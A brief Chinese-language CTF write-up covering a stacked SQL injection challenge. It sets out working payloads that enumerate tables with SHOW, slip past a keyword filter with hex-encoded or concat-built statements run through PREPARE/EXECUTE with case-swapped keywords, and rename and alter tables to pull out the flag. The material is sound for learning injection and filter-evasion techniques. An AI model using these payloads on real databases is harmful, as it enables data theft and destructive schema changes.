知识点:
##堆叠注入
#预语句注入
https://www.cnblogs.com/0nth3way/articles/7128189.html#autoid-1-0-0
正则过滤了很多关键字导致无法进行常规的注入,试了很久康wp才知道是堆叠注入
1';show tables;#
得到表名
1';show columns from words;
words的列 有id 和 data
1';show columns from `1919810931114514`#
有flag
flag再 第二张表中
正则过滤了很多关键字,这里采用两种方法绕
一:预语句 // 简单来说就是先设定好这个语句然后直接调用并执行就行了
用16进制绕过select
但是发现set 和prepare被strstr()函数过滤 ,但是这个函数对大小写敏感直接尝试大小写绕过
payload:
1';sEt @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;Prepare esql from @a;execute esql;
第二种payload,这里不用16进制绕过,用concat绕过:
1';sEt @a=concat('se','lect * from `1919810931114514`);Prepare esql from @a;execute esql;#
二:改变表的结构
分析
总共有两张表,一张是words 带有两列 ,另一张是带有flag的表,而正常的回显肯定是从words的表里查询数据的,那么猜测后台的语句可能如此
select id,data from words
现在只要 把words其他的,然后把带flag的表改成words并把列名flag改为id就好了
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
之后再 1' or 1=1# 就可以拿到flag